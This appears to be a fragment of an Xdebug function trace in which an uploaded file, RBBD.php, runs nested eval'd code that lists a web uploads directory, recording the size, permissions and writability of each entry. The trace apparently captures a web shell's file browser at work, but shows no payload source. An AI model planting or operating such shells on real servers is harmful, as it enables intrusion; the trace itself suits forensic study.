'/var/www/html/uploads/..' 5 47 1 0.010646 969488 5 47 R TRUE 5 48 0 0.010659 969448 is_dir 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1133 1 '/var/www/html/uploads/.htaccess' 5 48 1 0.010676 969488 5 48 R FALSE 5 49 0 0.010689 969448 is_dir 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1133 1 '/var/www/html/uploads/RBBD.php' 5 49 1 0.010704 969488 5 49 R FALSE 5 50 0 0.010716 969448 is_dir 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1133 1 '/var/www/html/uploads/data' 5 50 1 0.010732 969488 5 50 R TRUE 5 51 0 0.010757 969416 is_writable 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1139 1 '/var/www/html/uploads/data' 5 51 1 0.010775 969456 5 51 R TRUE 5 52 0 0.010789 969416 perms 1 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1141 1 '/var/www/html/uploads/data' 6 53 0 0.010804 969416 fileperms 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1205 1 '/var/www/html/uploads/data' 6 53 1 0.010820 969456 6 53 R 16895 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1205 $perms = 16895 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1221 $info = 'd' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1234 $info .= 'r' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1235 $info .= 'w' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1238 $info .= 'x' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1241 $info .= 'r' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1242 $info .= 'w' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1245 $info .= 'x' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1248 $info .= 'r' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1249 $info .= 'w' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1252 $info .= 'x' 5 52 1 0.010962 969456 5 52 R 'drwxrwxrwx' 5 54 0 0.010977 969416 is_writable 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1142 1 '/var/www/html/uploads/data' 5 54 1 0.010993 969456 5 54 R TRUE 5 55 0 0.011008 969424 is_dir 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1133 1 '/var/www/html/uploads/prepend.php' 5 55 1 0.011025 969472 5 55 R FALSE 5 56 0 0.011039 969416 is_file 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1161 1 '/var/www/html/uploads/.' 5 56 1 0.011055 969440 5 56 R FALSE 5 57 0 0.011067 969408 is_file 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1161 1 '/var/www/html/uploads/..' 5 57 1 0.011082 969456 5 57 R FALSE 5 58 0 0.011095 969416 is_file 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1161 1 '/var/www/html/uploads/.htaccess' 5 58 1 0.011110 969456 5 58 R TRUE 5 59 0 0.011123 969416 filesize 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1162 1 '/var/www/html/uploads/.htaccess' 5 59 1 0.011137 969456 5 59 R 64 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1162 $size = 0.0625 5 60 0 0.011162 969360 round 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1163 2 0.0625 3 5 60 1 0.011178 969432 5 60 R 0.063 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1163 $size = 0.063 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1167 $size = '0.063 KB' 5 61 0 0.011218 969456 is_writable 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1175 1 '/var/www/html/uploads/.htaccess' 5 61 1 0.011234 969496 5 61 R FALSE 5 62 0 0.011247 969456 is_readable 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1176 1 '/var/www/html/uploads/.htaccess' 5 62 1 0.011262 969496 5 62 R TRUE 5 63 0 0.011276 969456 perms 1 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1177 1 '/var/www/html/uploads/.htaccess' 6 64 0 0.011288 969456 fileperms 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1205 1 '/var/www/html/uploads/.htaccess' 6 64 1 0.011302 969496 6 64 R 33188 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1205 $perms = 33188 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1215 $info = '-' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1234 $info .= 'r' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1235 $info .= 'w' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1238 $info .= '-' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1241 $info .= 'r' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1242 $info .= '-' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1245 $info .= '-' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1248 $info .= 'r' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1249 $info .= '-' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1252 $info .= '-' 5 63 1 0.011595 969496 5 63 R '-rw-r--r--' 5 65 0 0.011610 969456 is_writable 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1178 1 '/var/www/html/uploads/.htaccess' 5 65 1 0.011627 969496 5 65 R FALSE 5 66 0 0.011646 969456 is_readable 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1178 1 '/var/www/html/uploads/.htaccess' 5 66 1 0.011662 969496 5 66 R TRUE 5 67 0 0.011676 969456 is_file 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1161 1 '/var/www/html/uploads/RBBD.php' 5 67 1 0.011692 969496 5 67 R TRUE 5 68 0 0.011705 969456 filesize 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1162 1 '/var/www/html/uploads/RBBD.php' 5 68 1 0.011718 969496 5 68 R 28546 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1162 $size = 27.876953125 5 69 0 0.011744 969360 round 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1163 2 27.876953125 3 5 69 1 0.011759 969432 5 69 R 27.877 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1163 $size = 27.877 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1167 $size = '27.877 KB' 5 70 0 0.011798 969456 is_writable 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1175 1 '/var/www/html/uploads/RBBD.php' 5 70 1 0.011814 969496 5 70 R FALSE 5 71 0 0.011828 969456 is_readable 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1176 1 '/var/www/html/uploads/RBBD.php' 5 71 1 0.011843 969496 5 71 R TRUE 5 72 0 0.011856 969456 perms 1 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1177 1 '/var/www/html/uploads/RBBD.php' 6 73 0 0.011870 969456 fileperms 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1205 1 '/var/www/html/uploads/RBBD.php' 6 73 1 0.011883 969496 6 73 R 33204 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1205 $perms = 33204 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1215 $info = '-' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1234 $info .= 'r' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1235 $info .= 'w' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1238 $info .= '-' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1241 $info .= 'r' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1242 $info .= 'w' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1245 $info .= '-' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1248 $info .= 'r' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1249 $info .= '-' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1252 $info .= '-' 5 72 1 0.012014 969496 5 72 R '-rw-rw-r--' 5 74 0 0.012028 969456 is_writable 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1178 1 '/var/www/html/uploads/RBBD.php' 5 74 1 0.012044 969496 5 74 R FALSE 5 75 0 0.012057 969456 is_readable 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1178 1 '/var/www/html/uploads/RBBD.php' 5 75 1 0.012072 969496 5 75 R TRUE 5 76 0 0.012086 969456 is_file 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1161 1 '/var/www/html/uploads/data' 5 76 1 0.012101 969496 5 76 R FALSE 5 77 0 0.012114 969464 is_file 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1161 1 '/var/www/html/uploads/prepend.php' 5 77 1 0.012130 969512 5 77 R TRUE 5 78 0 0.012142 969472 filesize 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1162 1 '/var/www/html/uploads/prepend.php' 5 78 1 0.012156 969512 5 78 R 57 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1162 $size = 0.0556640625 5 79 0 0.012180 969368 round 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1163 2 0.0556640625 3 5 79 1 0.012194 969440 5 79 R 0.056 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1163 $size = 0.056 4 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1167 $size = '0.056 KB' 5 80 0 0.012341 969472 is_writable 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1175 1 '/var/www/html/uploads/prepend.php' 5 80 1 0.012361 969512 5 80 R FALSE 5 81 0 0.012374 969472 is_readable 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1176 1 '/var/www/html/uploads/prepend.php' 5 81 1 0.012390 969512 5 81 R TRUE 5 82 0 0.012403 969472 perms 1 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1177 1 '/var/www/html/uploads/prepend.php' 6 83 0 0.012422 969472 fileperms 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1205 1 '/var/www/html/uploads/prepend.php' 6 83 1 0.012436 969512 6 83 R 33261 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1205 $perms = 33261 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1215 $info = '-' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1234 $info .= 'r' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1235 $info .= 'w' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1238 $info .= 'x' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1241 $info .= 'r' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1242 $info .= '-' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1245 $info .= 'x' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1248 $info .= 'r' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1249 $info .= '-' 5 A /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1252 $info .= 'x' 5 82 1 0.012568 969512 5 82 R '-rwxr-xr-x' 5 84 0 0.012582 969472 is_writable 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1178 1 '/var/www/html/uploads/prepend.php' 5 84 1 0.012597 969512 5 84 R FALSE 5 85 0 0.012611 969472 is_readable 0 /var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code 1178 1 '/var/www/html/uploads/prepend.php' 5 85 1 0.012626 969512 5 85 R TRUE 4 25 1 0.012647 969408 3 23 1 0.012687 727080 3 23 R NULL 2 19 1 0.012702 566528 2 19 R NULL 1 3 1 0.012718 480464 0.012757 397344 TRACE END [2023-02-12 23:31:53.829100]